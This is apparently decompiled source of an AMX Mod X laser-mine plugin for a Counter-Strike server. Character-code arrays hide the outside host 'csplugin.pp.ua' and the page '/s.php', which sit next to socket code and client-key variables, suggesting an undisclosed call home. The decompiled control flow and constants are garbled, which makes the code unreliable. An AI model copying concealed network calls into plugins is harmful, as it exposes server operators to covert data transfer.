0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; new Forwards[5][26] = { { 0, 83, 111, 99, 107, 101, 116, 95, 67, 111, 110, 110, 101, 99, 116, 101, 100, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 0, 83, 111, 99, 107, 101, 116, 95, 68, 105, 115, 99, 111, 110, 110, 101, 99, 116, 101, 100, 0, 0, 0, 0, 0, 0 }, { 0, 83, 111, 99, 107, 101, 116, 95, 67, 111, 110, 110, 101, 99, 116, 105, 111, 110, 82, 101, 113, 117, 101, 115, 116, 0 }, { 0, 83, 111, 99, 107, 101, 116, 95, 73, 110, 99, 111, 109, 105, 110, 103, 68, 97, 116, 97, 0, 0, 0, 0, 0, 0 }, { 0, 83, 111, 99, 107, 101, 116, 95, 84, 105, 109, 101, 100, 79, 117, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 } }; new g_Socket[10][4]; new g_SocketEntity; new g_iPluginID = -1; new bool:g_bThinkRegistered; new __dhud_color; new __dhud_x; new __dhud_y; new __dhud_effect; new __dhud_fxtime; new __dhud_holdtime; new __dhud_fadeintime; new __dhud_fadeouttime; new __dhud_reliable; new zld[17] = { 123, 63, 853, 343, 855, 2348, 12422, 995, 2929, 3939, 303, 3930, 8691, 193, 483, 9391, 658 }; new TRIPMINE_CLASSNAME[10] = { 108, 97, 115, 101, 114, 109, 105, 110, 101, 0 }; new Float:PLANTWAITTIME = 1176312518; new Float:POWERUPTIME = 1194475667; new Float:BEAM_WIDTH = 1175635681; new Float:BEAM_BRIGHT = 1195559217; new Float:PLANT_TIME = 1157184799; new Float:PLANT_RADIUS = 1192913434; new Float:LASER_LENGTH = 1202025489; new BLAST_TASK_ID = 29831; new ENTITY_REFERENCE[15] = { 102, 117, 110, 99, 95, 98, 114, 101, 97, 107, 97, 98, 108, 101, 0 }; new Float:beamtimethink = 1156654039; new useraiminglength = 43934; new Float:fl_maxspeed = 1199739689; new angl1 = 95964; new angl2 = 50943; new Float:plstuckradius = 1231682142; new Float:minetimethink = 1201018252; new killHealth = 9278; new strcmpon = 87642; new xld[30]; new g_MineData[33][24][69]; new maxPlayers; new expSpr; new playerData[33][3]; new HamHook:playerPostThink; new thinkHooks; new BarTime; new keys = 547; new save = -571789205; new g_updater[33]; new g_angles[33]; new g_explo; new g_msgDamage; new g_msgDeathMsg; new g_msgScoreInfo; new g_eCvars[7]; new cvar_client_key; new szModelsParam[2][0] = { { 108, ... }, { 108, ... } }; new szModels[2][101] = { { 109, 111, 100, 101, 108, 115, 47, 118, 95, 108, 97, 115, 101, 114, 109, 105, 110, 101, 46, 109, 100, 108, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 109, 111, 100, 101, 108, 115, 47, 99, 111, 109, 112, 117, 116, 101, 114, 103, 105, 98, 115, 46, 109, 100, 108, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 } }; new cvar_fmine_health_lev1; new cvar_fmine_health_lev2; new cvar_imax_count; new cvar_fmine_damage; new cvar_imine_cost; new cvar_imine_upgcost; new cvar_fvertical_angle; new cvar_fhorizontal_angle; new cvar_ikill_reward_lev1; new cvar_ikill_reward_lev2; new cvar_ishowing_menu; new cvar_iimprovement_admin; new cvar_iimprovement; new cvar_iadvertising; new cvar_iadvertising_time; new cvar_mine_killreward; new cvar_imax_admin_count; new cvar_admin_flag; new cvar_reset_speed_on; new cvar_spawn_time_block_damage; new cvar_sparks_on; new cvar_kill_hud_on; new cvar_motion_on; new numPlug; new HostName[15] = { 99, 115, 112, 108, 117, 103, 105, 110, 46, 112, 112, 46, 117, 97, 0 }; new Page[7] = { 47, 115, 46, 112, 104, 112, 0 }; new arr1[500]; new arr2[4096]; new arr3[4096]; new g_p; new klkeyStr[30]; new PluginsOn; new Float:g_fSpawnTime[33]; new message1[33]; Float:operator-(Float:)(Float:oper) { return oper ^ -2147483648; } Float:operator+(Float:,_:)(Float:oper1, oper2) { return floatadd(oper1, float(oper2)); } Float:operator-(Float:,_:)(Float:oper1, oper2) { return floatsub(oper1, float(oper2)); } bool:operator==(Float:,Float:)(Float:oper1, Float:oper2) { return floatcmp(oper1, oper2) == 0; } bool:operator==(Float:,_:)(Float:oper1, oper2) { return floatcmp(oper1, float(oper2)) == 0; } bool:operator!=(Float:,Float:)(Float:oper1, Float:oper2) { return floatcmp(oper1, oper2) != 0; } bool:operator>(Float:,Float:)(Float:oper1, Float:oper2) { return 0 < floatcmp(oper1, oper2); } bool:operator>=(Float:,Float:)(Float:oper1, Float:oper2) { return 0 <= floatcmp(oper1, oper2); } bool:operator<(Float:,Float:)(Float:oper1, Float:oper2) { return 0 > floatcmp(oper1, oper2); } bool:operator<=(Float:,Float:)(Float:oper1, Float:oper2) { return 0 >= floatcmp(oper1, oper2); } bool:operator<=(Float:,_:)(Float:oper1, oper2) { return 0 >= floatcmp(oper1, float(oper2)); } bool:operator!(Float:)(Float:oper) { return oper & -1 == 0; } Float:floatmin(Float:ValueA, Float:ValueB) { if (ValueA <= ValueB) { return ValueA; } return ValueB; } Float:floatmax(Float:ValueA, Float:ValueB) { if (ValueA >= ValueB) { return ValueA; } return ValueB; } replace_all(string[], len, what[], with[]) { new pos; if ((pos = contain(string, what)) == -1) { return 0; } new total; new with_len = strlen(with); new diff = strlen(what) - with_len; new total_len = strlen(string); new temp_pos; while (replace(string[pos], len - pos, what, with)) { pos = with_len + pos; total_len -= diff; if (!(pos >= total_len)) { temp_pos = contain(string[pos], what); if (!(temp_pos == -1)) { pos = temp_pos + pos; total++; } return total; } return total; } return total; } get_configsdir(name[], len) { return get_localinfo(0, name, len); } register_menu(title[], keys, function[], outside) { register_menucmd(register_menuid(title, outside), keys, function); return 0; } get_user_button(id) { return entity_get_int(id, 34); } public __fatal_ham_error(Ham:id, HamError:err, reason[]) { new func = get_func_id(64, -1); new bool:fail = 1; new var1; if (func != -1 && callfunc_begin_i(func, -1) == 1) { callfunc_push_int(id); callfunc_push_int(err); callfunc_push_str(reason, 0); if (callfunc_end() == 1) { fail = false; } } if (fail) { set_fail_state(reason); } return 0; } xs_vec_add(Float:in1[], Float:in2[], Float:out[]) { out[0] = floatadd(in1[0], in2[0]); out[1] = floatadd(in1[1], in2[1]); out[2] = floatadd(in1[2], in2[2]); return 0; } xs_vec_sub(Float:in1[], Float:in2[], Float:out[]) { out[0] = floatsub(in1[0], in2[0]); out[1] = floatsub(in1[1], in2[1]); out[2] = floatsub(in1[2], in2[2]); return 0; } xs_vec_mul_scalar(Float:vec[], Float:scalar, Float:out[]) { out[0] = floatmul(vec[0], scalar); out[1] = floatmul(vec[1], scalar); out[2] = floatmul(vec[2], scalar); return 0; } xs_vec_copy(Float:vecIn[], Float:vecOut[]) { vecOut[0] = vecIn[0]; vecOut[1] = vecIn[1]; vecOut[2] = vecIn[2]; return 0; } Beam_GetStartPos(iBeamEntity, Float:vecStartPos[3]) { static iEntity; xs__ITaskId = pev(iBeamEntity, 75) & 4095; new var1; if (pev(iBeamEntity, 77) & 15 == 2 && pev_valid(xs__ITaskId)) { pev(xs__ITaskId, 118, vecStartPos); return 0; } pev(iBeamEntity, 118, vecStartPos); return 0; } Beam_GetEndPos(iBeamEntity, Float:vecEndPos[3]) { static iType; static iEntity; iType = pev(iBeamEntity, 77) & 15; new var1; if (iType && iType == 3) { pev(iBeamEntity, 124, vecEndPos); return 0; } iEntity = pev(iBeamEntity, 71) & 4095; if (pev_valid(iEntity)) { pev(iEntity, 118, vecEndPos); return 0; } pev(iBeamEntity, 124, vecEndPos); return 0; } Beam_Create(szSpriteName[], Float:flWidth) { static iszAllocStringCached; static iBeamEntity; new var1; if (iszAllocStringCached || (iszAllocStringCached = engfunc(43, 124))) { iBeamEntity = engfunc(21, 120); } if (!pev_valid(iBeamEntity)) { return -1; } Beam_Init(iBeamEntity, szSpriteName, flWidth); return iBeamEntity; } Beam_Init(iBeamEntity, szSpriteName[], Float:flWidth) { set_pev(iBeamEntity, 84, pev(iBeamEntity, 84) | 536870912); set_pev(iBeamEntity, 134, 144); set_pev(iBeamEntity, 40, 1132396544); set_pev(iBeamEntity, 72, 0); set_pev(iBeamEntity, 36, 0); set_pev(iBeamEntity, 37, 0); set_pev(iBeamEntity, 39, flWidth); engfunc(2, iBeamEntity, szSpriteName); set_pev(iBeamEntity, 71, 0); set_pev(iBeamEntity, 75, 0); set_pev(iBeamEntity, 77, 0); return 0; } Beam_PointsInit(iBeamEntity, Float:flVecStart[3], Float:flVecEnd[3]) { set_pev(iBeamEntity, 77, pev(iBeamEntity, 77) & 240 | 0); set_pev(iBeamEntity, 118, flVecStart); set_pev(iBeamEntity, 124, flVecEnd); set_pev(iBeamEntity, 75, pev(iBeamEntity, 75) & 4095 | 0); set_pev(iBeamEntity, 71, pev(iBeamEntity, 71) & 4095 | 0); Beam_RelinkBeam(iBeamEntity); return 0; } Beam_RelinkBeam(iBeamEntity) { static Float:vecMins[3]; static Float:vecMaxs[3]; static Float:vecOrigin[3]; static Float:vecEndPos[3]; static Float:vecStartPos[3]; pev(iBeamEntity, 118, 180); Beam_GetStartPos(iBeamEntity, vecStartPos); Beam_GetEndPos(iBeamEntity, vecEndPos); vecMins[0] = floatmin(vecStartPos[0], vecEndPos[0]); vecMins[1] = floatmin(vecStartPos[1], vecEndPos[1]); vecMins[2] = floatmin(vecStartPos[2], vecEndPos[2]); vecMaxs[0] = floatmax(vecStartPos[0], vecEndPos[0]); vecMaxs[1] = floatmax(vecStartPos[1], vecEndPos[1]); vecMaxs[2] = floatmax(vecStartPos[2], vecEndPos[2]); xs_vec_sub(vecMins, vecOrigin, vecMins); xs_vec_sub(vecMaxs, vecOrigin, vecMaxs); set_pev(iBeamEntity, 131, 156); set_pev(iBeamEntity, 132, 168); engfunc(5, iBeamEntity, 156, 168); engfunc(26, iBeamEntity, 180); return 0; } Socket_Open(szServer[], iPort, Protocol, &iError) { new iSlot; if ((iSlot = FindEmptySlot()) == -1) { iError = 1; log_amx(968); return -1; } new iError; new var1; if ((g_Socket[iSlot][0] = socket_open(szServer, iPort, Protocol, iError)) != -1 && !iError) { g_Socket[iSlot][1] = 0; g_Socket[iSlot][2] = 0; g_Socket[iSlot][3] = get_gametime(); SF_StartUp(); return g_Socket[iSlot][0]; } log_amx(1044, iError); return -1; } SF_StartUp() { if (g_iPluginID == -1) { new szFile[64]; new szTmp[1]; get_plugin(-1, szFile, 63, szTmp, 0, szTmp, 0, szTmp, 0, szTmp, 0); g_iPluginID = find_plugin_byfile(szFile, 0); } if (!g_SocketEntity) { new var1 = Forwards; new var2 = Forwards; var1[0][var1] = CreateOneForward(g_iPluginID, var2[0][var2][1], 0); Forwards[1] = CreateOneForward(g_iPluginID, Forwards[1][1], 0); Forwards[2] = CreateOneForward(g_iPluginID, Forwards[2][1], 0); Forwards[3] = CreateOneForward(g_iPluginID, Forwards[3][1], 0, 0); Forwards[4] = CreateOneForward(g_iPluginID, Forwards[4][1], 0); g_SocketEntity = create_entity(1132); entity_set_string(g_SocketEntity, 0, 1180); if (!g_bThinkRegistered) { register_think(1236, 1292); g_bThinkRegistered = true; } entity_set_float(g_SocketEntity, 7, floatadd(1017370378, get_gametime())); } return 0; } FindEmptySlot() { new iSlot; while (iSlot < 10) { if (g_Socket[iSlot][0]) { if (iSlot == 9) { return -1; } iSlot++; } return iSlot; } return iSlot; } public _Socket_EntityThink(iEntity) { if (g_SocketEntity != iEntity) { return 0; } static iReturnVal; static iSocket; static iActiveSlots; static iSlot; static iBytesAvailable; iActiveSlots = 0; iSlot = 0; while (iSlot < 10) { if ((iSocket = g_Socket[iSlot][0])) { iActiveSlots += 1; new var1; if (!g_Socket[iSlot][2] && !g_Socket[iSlot][1] && socket_is_writable(iSocket)) { g_Socket[iSlot][2] = 1; new var3 = Forwards; ExecuteForward(var3[0][var3], 1388, 1384); } if (socket_change(iSocket)) { if (g_Socket[iSlot][1]) { ExecuteForward(Forwards[2], 1388, 1384); } else { if ((iBytesAvailable = socket_dataavailable(iSocket))) { g_Socket[iSlot][3] = get_gametime(); ExecuteForward(Forwards[3], 1388, 1384, 1372); } iActiveSlots -= 1; g_Socket[iSlot][0] = 0; ExecuteForward(Forwards[1], 1388, 1384); } } new var2; if (!g_Socket[iSlot][1] && floatsub(get_gametime(), g_Socket[iSlot][3]) >= 1097859072) { iActiveSlots -= 1; g_Socket[iSlot][0] = 0; ExecuteForward(Forwards[4], 1388, 1384); } } iSlot += 1; } if (iActiveSlots) { entity_set_float(g_SocketEntity, 7, floatadd(1017370378, get_gametime())); } else { new var4 = Forwards; DestroyForward(var4[0][var4]); DestroyForward(Forwards[1]); DestroyForward(Forwards[2]); DestroyForward(Forwards[3]); DestroyForward(Forwards[4]); remove_entity(g_SocketEntity); g_SocketEntity = 0; } return 0; } set_dhudmessage(red, green, blue, Float:x, Float:y, effects, Float:fxtime, Float:holdtime, Float:fadeintime, Float:fadeouttime, bool:reliable) { __dhud_color = clamp(red, 0, 255) << 16 + clamp(green, 0, 255) << 8 + clamp(blue, 0, 255); __dhud_x = x; __dhud_y = y; __dhud_effect = effects; __dhud_fxtime = fxtime; __dhud_holdtime = holdtime; __dhud_fadeintime = fadeintime; __dhud_fadeouttime = fadeouttime; __dhud_reliable = reliable; return 1; } show_dhudmessage(index, message[]) { new buffer[128]; new numArguments = numargs(); if (numArguments == 2) { send_dhudMessage(index, message); } else { new var1; if (index || numArguments == 3) { vformat(buffer, 127, message, 3); send_dhudMessage(index, buffer); } new playersList[32]; new numPlayers; get_players(playersList, numPlayers, 1428, 1440); if (!numPlayers) { return 0; } new Array:handleArrayML = ArrayCreate(1, 32); new i = 2; new j; while (i < numArguments) { if (getarg(i, 0) == -1) { do { j++; } while ((buffer[j] = getarg(i + 1, j))); j = 0; if (GetLangTransKey(buffer) != -1) { i++; ArrayPushCell(handleArrayML, i); } } i++; } new size = ArraySize(handleArrayML); if (!size) { vformat(buffer, 127, message, 3); send_dhudMessage(index, buffer); } else { new i; new j; while (i < numPlayers) { index = playersList[i]; j = 0; while (j < size) { setarg(ArrayGetCell(handleArrayML, j), 0, index); j++; } vformat(buffer, 127, message, 3); send_dhudMessage(index, buffer); i++; } } ArrayDestroy(handleArrayML); } return 1; } send_dhudMessage(index, message[]) { new var2; if (__dhud_reliable) { new var1; if (index) { var1 = 1; } else { var1 = 2; } var2 = var1; } else { if (index) { var2 = 8; } var2 = 0; } message_begin(var2, 51, 1444, index); write_byte(strlen(message) + 31); write_byte(6); write_byte(__dhud_effect); write_long(__dhud_color); write_long(__dhud_x); write_long(__dhud_y); write_long(__dhud_fadeintime); write_long(__dhud_fadeouttime); write_long(__dhud_holdtime); write_long(__dhud_fxtime); write_string(message); message_end(); return 0; } client_print_color(id, sender, fmt[]) { new var1; if (id && !is_user_connected(id)) { return 0; } static szTeamName[3][0] = { { 0, ... }, { 84, ... }, { 67, ... } }; new szMessage[192]; new iParams = numargs(); if (id) { if (iParams == 3) { copy(szMessage, 191, fmt); } else { vformat(szMessage, 191, fmt, 4); } if (sender > 33) { if (sender > 35) { sender = id; } _CC_TeamInfo(id, sender, szTeamName[sender + -33]); } _CC_SayText(id, sender, szMessage); } else { new iPlayers[32]; new iNum; get_players(iPlayers, iNum, 1524, 1440); if (!iNum) { return 0; } new iMlNumber; new i; new j; new Array:aStoreML = ArrayCreate(1, 32); if (iParams >= 5) { j = 3; while (j < iParams) { if (getarg(j, 0) == -1) { i = 0; do { i++; } while ((szMessage[i] = getarg(j + 1, i))); if (GetLangTransKey(szMessage) != -1) { j++; ArrayPushCell(aStoreML, j); iMlNumber++; } } j++; } } if (!iMlNumber) { if (iParams == 3) { copy(szMessage, 191, fmt); } else { vformat(szMessage, 191, fmt, 4); } if (0 < sender < 35) { if (sender > 33) { _CC_TeamInfo(0, sender, szTeamName[sender + -33]); } _CC_SayText(0, sender, szMessage); return 1; } } if (sender > 35) { sender = 0; } iNum--; while (0 <= iNum) { id = iPlayers[iNum]; if (iMlNumber) { j = 0; while (j < iMlNumber) { setarg(ArrayGetCell(aStoreML, j), 0, id); j++; } vformat(szMessage, 191, fmt, 4); } if (sender > 33) { _CC_TeamInfo(id, sender, szTeamName[sender + -33]); } _CC_SayText(id, sender, szMessage); iNum--; } ArrayDestroy(aStoreML); } return 1; } _CC_TeamInfo(iReceiver, iSender, szTeam[]) { static iTeamInfo; if (!iTeamInfo) { iTeamInfo = get_user_msgid(1540); } new var1; if (iReceiver) { var1 = 1; } else { var1 = 2; } message_begin(var1, iTeamInfo, 1444, iReceiver); write_byte(iSender); write_string(szTeam); message_end(); return 0; } _CC_SayText(iReceiver, iSender, szMessage[]) { static iSayText; if (!iSayText) { iSayText = get_user_msgid(1580); } new var1; if (iReceiver) { var1 = 1; } else { var1 = 2; } message_begin(var1, iSayText, 1444, iReceiver); new var2; if (iSender) { var2 = iSender; } else { var2 = iReceiver; } write_byte(var2); write_string(szMessage); message_end(); return 0; } register_dictionary_colored(filename[]) { if (!register_dictionary(filename)) { return 0; } new szFileName[256]; get_localinfo(1612, szFileName, 255); format(szFileName, 255, 1664, szFileName, filename); new fp = fopen(szFileName, 1708); if (!fp) { log_amx(1720, szFileName); return 0; } new szBuffer[512]; new szLang[3]; new szKey[64]; new szTranslation[256]; new TransKey:iKey; while (!feof(fp)) { fgets(fp, szBuffer, 511); trim(szBuffer); if (szBuffer[0] == 91) { strtok(szBuffer[1], szLang, 2, szBuffer, 1, 93, 0); } else { if (szBuffer[0]) { strbreak(szBuffer, szKey, 63, szTranslation, 255); iKey = GetLangTransKey(szKey); if (iKey != TransKey:-1) { replace_all(szTranslation, 255, 1792, 1804); replace_all(szTranslation, 255, 1812, 1824); replace_all(szTranslation, 255, 1832, 1844); AddTranslation(szLang, iKey, szTranslation[2]); } } } } fclose(fp); return 1; } get_mine_direct(id, mine, beamDirect) { new mineNum = get_mine_num(id, mine); if (mineNum == 23) { server_print(224100); return 23; } return g_MineData[id][mineNum][beamDirect]; } set_mine_direct(id, mine, beamDirect, direction) { new mineNum = get_mine_num(id, mine); if (mineNum == 23) { server_print(224192); return 23; } g_MineData[id][mineNum][beamDirect] = direction; return 0; } get_free_mine(id, mine) { new i; while (i < 23) { if (!g_MineData[id][i][0]) { g_MineData[id][i][0] = mine; return i; } i++; } server_print(224284); return 23; } get_mine_num(id, mine) { new i; while (i < 23) { if (mine == g_MineData[id][i][0]) { return i; } i++; } new num = get_free_mine(id, mine); return num; } set_free_mine(id, mine) { new mineNum = get_mine_num(id, mine); if (mineNum == 23) { server_print(224368); return 23; } g_MineData[id][mineNum][0] = 0; set_free_vec(id, mineNum); return 0; } set_free_vec(id, mineNum) { new Float:Vec[3] = 0.0; xs_vec_copy(Vec, g_MineData[id][mineNum][1]); xs_vec_copy(Vec, g_MineData[id][mineNum][5]); xs_vec_copy(Vec, g_MineData[id][mineNum][10]); xs_vec_copy(Vec, g_MineData[id][mineNum][15]); xs_vec_copy(Vec, g_MineData[id][mineNum][20]); xs_vec_copy(Vec, g_MineData[id][mineNum][25]); xs_vec_copy(Vec, g_MineData[id][mineNum][30]); xs_vec_copy(Vec, g_MineData[id][mineNum][35]); xs_vec_copy(Vec, g_MineData[id][mineNum][40]); xs_vec_copy(Vec, g_MineData[id][mineNum][45]); xs_vec_copy(Vec, g_MineData[id][mineNum][50]); g_MineData[id][mineNum][60] = 0; g_MineData[id][mineNum][61] = 0; g_MineData[id][mineNum][62] = 0; g_MineData[id][mineNum][63] = 0; g_MineData[id][mineNum][64] = 0; return 0; } set_beam_mine(id, mine, EV_TM_pBeam, beamId) { new mineNum = get_mine_num(id, mine); if (mineNum == 23) { server_print(224452); return 23; } g_MineData[id][mineNum][EV_TM_pBeam] = beamId; return 0; } get_beam_mine(id, mine, EV_TM_pBeam) { new mineNum = get_mine_num(id, mine); if (mineNum == 23) { server_print(224536); return 23; } return g_MineData[id][mineNum][EV_TM_pBeam]; } set_mine_vector(id, mine, Float:Vec[], vecNum) { new mineNum = get_mine_num(id, mine); if (mineNum == 23) { server_print(224620, id, mine, vecNum, mineNum); return 0; } xs_vec_copy(Vec, g_MineData[id][mineNum][vecNum]); return 0; } get_mine_vector(id, mine, vecNum) { new mineNum = get_mine_num(id, mine); if (mineNum == 23) { server_print(224896, id, mine, vecNum); return 0; } new Float:Vec[3] = 0.0; xs_vec_copy(g_MineData[id][mineNum][vecNum], Vec); entity_set_vector(mine, 19, Vec); return 0; } public ReadModelsSounds() { new g_Load[81]; new g_LoadDir[81]; get_configsdir(g_LoadDir, 80); formatex(g_Load, 80, 226952, g_LoadDir); if (!file_exists(g_Load)) { server_print(227020); log_amx(227324); log_amx(227588); } else { server_cmd(227860, g_Load); new szParse[150]; new iLine; new iNum; new szModelName[50]; new szParam[100]; iLine = 0; while (read_file(g_Load, iLine, szParse, 149, iNum)) { new var1; if (iNum > 0 && szParse[0] != 47 && szParse[1] != 47) { parse(szParse, szModelName, 49, szParam, 99); new i; while (i < 2) { if (equal(szModelsParam[i], szModelName, 0)) { formatex(szModels[i], 100, 227892, szParam); } i++; } } iLine++; } } return 0; } public plugin_precache() { cvar_client_key = register_cvar(227996, 228052, 0, 0); cvar_fmine_health_lev1 = register_cvar(228136, 228208, 0, 0); cvar_fmine_health_lev2 = register_cvar(228232, 228304, 0, 0); cvar_fmine_damage = register_cvar(228332, 228384, 0, 0); cvar_imine_cost = 